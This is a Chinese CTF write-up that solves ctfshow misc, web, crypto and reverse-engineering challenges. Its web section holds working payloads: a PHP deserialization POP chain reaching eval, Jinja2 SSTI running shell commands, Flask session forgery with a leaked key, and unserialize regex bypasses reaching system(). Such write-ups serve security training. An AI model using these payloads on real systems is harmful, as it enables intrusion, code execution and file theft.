MISC
奇怪的压缩包
下载附件后是一个压缩包,解压发现有密码,用010editor
打开看看是不是伪加密。全局搜索504B
,将后面的09
都改为00
修改后保存就可以直接解压缩了。
解压后是一个png图片,黑不溜秋啥也没有,老规矩010editor
打开看看,发现文件最后一段内容
很明显这是一个压缩包伪装成的图片文件,这个key看起来像base64,拿去解码一下:
将图片后缀修改为rar
,用刚拿到的密码解压缩后,又有一个png
文件,010editor
打开查看,全局搜索ctfshow
:
找到flag
ctfshow{Th1s_i5_f1ag}
WEB
easy_signin
看url
后面长得像base64
,解码一下:
http://cf3e433c-0d3b-4bea-8693-33e1c27de094.challenge.ctf.show/?img=ZmFjZS5wbmc=
看来是把GET
传入的img
值base64
解码后读取,传入index.php
的base64编码值读取
base64
解码一下拿到flag
被遗忘的反序列化
拿到源码:
<?php
# 当前目录中有一个txt文件哦
error_reporting(0);
show_source(__FILE__);
include("check.php");
class EeE{
public $text;
public $eeee;
public function __wakeup(){
if ($this->text == "aaaa"){
echo lcfirst($this->text);
}
}
public function __get($kk){
echo "$kk,eeeeeeeeeeeee";
}
public function __clone(){
$a = new cycycycy;
$a -> aaa();
}
}
class cycycycy{
public $a;
private $b;
public function aaa(){
$get = $_GET['get'];
$get = cipher($get);
if($get === "p8vfuv8g8v8py"){
eval($_POST["eval"]);
}
}
public function __invoke(){
$a_a = $this -> a;
echo "\$a_a\$";
}
}
class gBoBg{
public $name;
public $file;
public $coos;
private $eeee="-_-";
public function __toString(){
if(isset($this->name)){
$a = new $this->coos($this->file);
echo $a;
}else if(!isset($this -> file)){
return $this->coos->name;
}else{
$aa = $this->coos;
$bb = $this->file;
return $aa();
}
}
}
class w_wuw_w{
public $aaa;
public $key;
public $file;
public function __wakeup(){
if(!preg_match("/php|63|\*|\?/i",$this -> key)){
$this->key = file_get_contents($this -> file);
}else{
echo "不行哦";
}
}
public function __destruct(){
echo $this->aaa;
}
public function __invoke(){
$this -> aaa = clone new EeE;
}
}
$_ip = $_SERVER["HTTP_AAAAAA"];
unserialize($_ip);
先利用w_wuw_w
中的__wakeup
和__destruct
读一下check.php
的内容,由于文件内容存在key
中,我们只能读到aaa
,利用指针方法读到key
地址中内容
poc:
<?php
class w_wuw_w{
public $aaa;
public $key;
public $file="check.php";
}
$a=new w_wuw_w();
$a->aaa=&$a->key;
echo serialize($a);
//O:7:"w_wuw_w":3:{s:3:"aaa";N;s:3:"key";R:2;s:4:"file";s:9:"check.php";}
用hackbar
传一下
读取到check.php
内容:
<?php
function cipher($str) {
if(strlen($str)>10000){
exit(-1);
}
$charset = "qwertyuiopasdfghjklzxcvbnm123456789";
$shift = 4;
$shifted = "";
for ($i = 0; $i < strlen($str); $i++) {
$char = $str[$i];
$pos = strpos($charset, $char);
if ($pos !== false) {
$new_pos = ($pos - $shift + strlen($charset)) % strlen($charset);
$shifted .= $charset[$new_pos];
} else {
$shifted .= $char;
}
}
return $shifted;
}
根据代码写一个解密脚本:
<?php
$charset = "qwertyuiopasdfghjklzxcvbnm123456789";
$str="p8vfuv8g8v8py";
$shifted="";
for ($i = 0; $i < strlen($str); $i++) {
$char=$str[$i];
$pos = strpos($charset, $char);
if($pos>=31)
$shifted.=$charset[$pos-31];
else
$shifted.=$charset[$pos+4];
}
echo $shifted;
//fe1ka1ele1efp
构造pop链:
w_wuw_w::__destruct()-->gBoBg::__toString()-->w_wuw_w::__invoke()-->EeE::clone()-->cycycycy::aaa()
payload
<?php
class w_wuw_w{
public $aaa;
public $key;
public $file="check.php";
}
class gBoBg{
public $name;
public $file="admin";
public $coos;
}
$a=new w_wuw_w();
$b=new gBoBg();
$c=new w_wuw_w();
$a->aaa=$b;
$b->coos=$c;
echo serialize($a);
//O:7:"w_wuw_w":3:{s:3:"aaa";O:5:"gBoBg":3:{s:4:"name";N;s:4:"file";s:5:"admin";s:4:"coos";O:7:"w_wuw_w":3:{s:3:"aaa";N;s:3:"key";N;s:4:"file";s:9:"check.php";}}s:3:"key";N;s:4:"file";s:9:"check.php";}
传参拿到flag
easy_ssti
根据题目提示F12
拿到源码:
from flask import Flask
from flask import render_template_string,render_template
app = Flask(__name__)
@app.route('/hello/')
def hello(name=None):
return render_template('hello.html',name=name)
@app.route('/hello/<name>')
def hellodear(name):
if "ge" in name:
return render_template_string('hello %s' % name)
elif "f" not in name:
return render_template_string('hello %s' % name)
else:
return 'Nonononon'
过滤的东西很弱,随便找个payload都能打
http://27b20150-e164-4014-8bd9-e0eb0c01e8c4.challenge.ctf.show/hello/ge{{lipsum.__globals__['os'].popen('cd ..;cat f*').read()}}
/
不能用,这里用分号进行多次命令执行读取flag
easy_flask
打开靶机一个登录界面,正常注册登陆上去就给了题目源码:
# app.py
from flask import Flask, render_template, request, redirect, url_for, session, send_file, Response
app = Flask(__name__)
app.secret_key = 'S3cr3tK3y'
users = {
}
@app.route('/')
def index():
# Check if user is loggedin
if 'loggedin' in session:
return redirect(url_for('profile'))
return redirect(url_for('login'))
@app.route('/login/', methods=['GET', 'POST'])
def login():
msg = ''
if request.method == 'POST' and 'username' in request.form and 'password' in request.form:
username = request.form['username']
password = request.form['password']
if username in users and password == users[username]['password']:
session['loggedin'] = True
session['username'] = username
session['role'] = users[username]['role']
return redirect(url_for('profile'))
else:
msg = 'Incorrect username/password!'
return render_template('login.html', msg=msg)
@app.route('/register/', methods=['GET', 'POST'])
def register():
msg = ''
if request.method == 'POST' and 'username' in request.form and 'password' in request.form:
username = request.form['username']
password = request.form['password']
if username in users:
msg = 'Account already exists!'
else:
users[username] = {'password': password, 'role': 'user'}
msg = 'You have successfully registered!'
return render_template('register.html', msg=msg)
@app.route('/profile/')
def profile():
if 'loggedin' in session:
return render_template('profile2.html', username=session['username'], role=session['role'])
return redirect(url_for('login'))
........
根据题目提示要求我们用一个admin
账户登录才能获得关键信息,secret_key
已经给出,直接进行session
伪造。在cookie
中获取session
值,用脚本进行解密
python flask_session_cookie_manager3.py decode -c "eyJsb2dnZWRpbiI6dHJ1ZSwicm9sZSI6InVzZXIiLCJ1c2VybmFtZSI6InR0eWN
wMyJ9.ZCl7Cw.DWToRLbEHP_dvE5IGLEsSka0bp4" -s "S3cr3tK3y"
解密后:
{'loggedin': True, 'role': 'user', 'username': 'ttycp3'}
把role
处修改为admin
后重新加密:
python flask_session_cookie_manager3.py encode -t "{'loggedin': True, 'role': 'admin', 'username': 'ttycp3'}" -s "
S3cr3tK3y"
加密后:
eyJsb2dnZWRpbiI6dHJ1ZSwicm9sZSI6ImFkbWluIiwidXNlcm5hbWUiOiJ0dHljcDMifQ.ZCl-5A.xOTE8Yc2N1bjeHwl0rffvZezQ2A
修改session后多了一个fakeflag
下载的地方:
联想到可以任意文件下载,burpsuite
抓包读取app.py
发现hello路由下传入eval参数可以命令执行
http://ac3d7ab1-e4e0-44ef-9a8f-c3411458c90f.challenge.ctf.show/hello/?eval=__import__('os').system("ls")
没有回显,可以写文件读取flag
http://9abf0a78-b014-4d42-b4af-91bfc3faef3a.challenge.ctf.show/hello/?eval=__import__('os').system("cat /f*>1.txt")
利用之前读文件的地方读
easy_php
赛后复现版
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2023-03-24 10:16:33
# @Last Modified by: h1xa
# @Last Modified time: 2023-03-25 00:25:52
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
class ctfshow{
public function __wakeup(){
die("not allowed!");
}
public function __destruct(){
system($this->ctfshow);
}
}
$data = $_GET['1+1>2'];
if(!preg_match("/^[Oa]:[\d]+/i", $data)){
unserialize($data);
}
?>
正则对序列化后的内容进行了限制,根据题目环境的php版本绕过方式有所不同
php5环境下,只需要在正常生成的序列化字符串数字前添加一个+号即可绕过执行
方法:
echo serialize(new ctfshow())
payload:
O:+7:"ctfshow":1:{s:7:"ctfshow";s:7:"cat /f*";}
php7环境下,需要序列化ArrObject类来绕过
方法:
echo serialize(new ArrayObject(new ctfshow()));
payload:
C:11:"ArrayObject":61:{x:i:0;O:7:"ctfshow":1:{s:7:"ctfshow";s:7:"cat /f*";};m:a:0:{}}
php8环境下,以上两种方法都不能正常执行,期待能有师傅研究出来
题目环境是php7的,用php7的payload传参即可获得flag,注意对+号url编码
CRYPTO
easy_base
4C455A5645334C44474A55484D5A42544F5132574956525A50464E464F4E4C474D4656454D334359474A554751564B4949493255535532464E42544643504A35
一把梭
ctfshow{yu_ren_j1e_haPpy!!!}
大牛的密码
不解释上脚本
from Crypto.Util.number import *
from Crypto.Util.Padding import pad
from random import *
from Crypto.Util.Padding import unpad
S_BOX=[9, 31, 32, 38, 20, 1, 22, 4, 8, 2, 11, 21, 7, 18, 46, 23, 34, 3, 19, 12, 45, 30, 27, 37, 5, 47, 28, 36, 0, 43, 39, 10, 29, 14, 40, 24, 33, 16, 17, 6, 42, 15, 26, 41, 44, 25, 35, 13]
c=[99, 111, 102, 11, 107, 49, 11, 53, 121, 48, 114, 117, 11, 95, 112, 95, 109, 115, 11, 95, 101, 95, 119, 117, 79, 123, 111, 48, 110, 95, 121, 116, 121, 125, 116, 11, 119, 11, 97, 67, 11, 11, 11, 11, 11, 99, 110, 104]
def s_box(a):
box=[i for i in range(a)]
shuffle(box)
return box
BLOCK=16
def swap(a,b):
tmp = a
a = b
b = tmp
def encrypt1(m):
enc=[m[i:i+BLOCK] for i in range(0,len(m),BLOCK)]
for i in enc:
for j in range(BLOCK):
aa=j*7%BLOCK
swap(i[j],i[aa])
def encrypt2(m):
for i in range(16):
m=[m[i] for i in S_BOX]
return m
# Inverse of encrypt2
def decrypt2(m):
for i in range(16):
m=[m[S_BOX.index(i)] for i in range(len(m))]
return m
# Inverse of encrypt1
def decrypt1(m):
dec=[]
for i in m:
for j in range(BLOCK-1,-1,-1):
aa=j*7%BLOCK
swap(i[j],i[aa])
dec+=i
return dec
# Decrypt the ciphertext
ciphertext = [99, 111, 102, 11, 107, 49, 11, 53, 121, 48, 114, 117, 11, 95, 112, 95, 109, 115, 11, 95, 101, 95, 119, 117, 79, 123, 111, 48, 110, 95, 121, 116, 121, 125, 116, 11, 119, 11, 97, 67, 11, 11, 11, 11, 11, 99, 110, 104]
ciphertext_001 = decrypt2(ciphertext)
print(ciphertext_001)
# decrypt1(ciphertext_001)
plaintext = unpad(bytes(ciphertext_001), BLOCK)
print(plaintext)
ctfshow{y0u_c5n_make_y0u1_own_CryptO}
RE
easy_pyc
给了个pyc文件,用命令把他换成py文件
uncompyle6 -o ez_re.py ez_re.pyc
print 'Welcome to CTFshow Re!'
print 'your flag is here!'
# flag = ''
# l = len(flag)
# for i in range(l):
# num = ((flag[i] + i) % 114514 + 114514) % 114514
# code += chr(num)
#
# code = map(ord, code)
# for i in range(l - 4 + 1):
# code[i] = code[i] ^ code[i + 1]
#
# print code
code = ['\x16', '\x1d', '\x1e', '\x1a', '\x18', '\t', b'\xff', b'\xd0', ',', '\x03',
'\x02', '\x14', '8', 'm', '\x01', 'C', 'D', b'\xbd', b'\xf7', '*', '\r',
b'\xda', b'\xf9', '\x1c', '&', '5', "'", b'\xda', b'\xd4', b'\xd1', '\x0b',
b'\xc7', b'\xc7', '\x1a', b'\x90', 'D', b'\xa1']
写个脚本解一下:
def decrypt(code):
code = list(map(ord, code))
l = len(code)
for i in range(l - 4, -1, -1):
code[i] = code[i] ^ code[i + 1]
for i in range(l):
num = ((code[i] - i) % 114514 + 114514) % 114514
code[i] = chr(num)
return ''.join(code)
code = ['\x16', '\x1d', '\x1e', '\x1a', '\x18', '\t', b'\xff', b'\xd0', ',', '\x03',
'\x02', '\x14', '8', 'm', '\x01', 'C', 'D', b'\xbd', b'\xf7', '*', '\r',
b'\xda', b'\xf9', '\x1c', '&', '5', "'", b'\xda', b'\xd4', b'\xd1', '\x0b',
b'\xc7', b'\xc7', '\x1a', b'\x90', 'D', b'\xa1']
flag = decrypt(code)
print(flag)
ctfshow{Just_F00l's_D@y_R3_Ch3ck-in!}
easy_cc
ida打开文件,根据伪代码写出解密脚本
hex_str = "08111f425a5c1c1e1a526d410e3a1e5e5d573402165e561216"
key = "key123"
# Convert hex string to bytes
bytes_str = bytes.fromhex(hex_str)
# Convert key to bytes
key_bytes = bytes(key, 'utf-8')
# XOR bytes with key
flag_bytes = bytes([b ^ key_bytes[i % len(key_bytes)] for i, b in enumerate(bytes_str)])
# Convert bytes to string
flag = flag_bytes.decode()
print(flag)
ctfshow{cc_re_good_good!}
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至1004454362@qq.com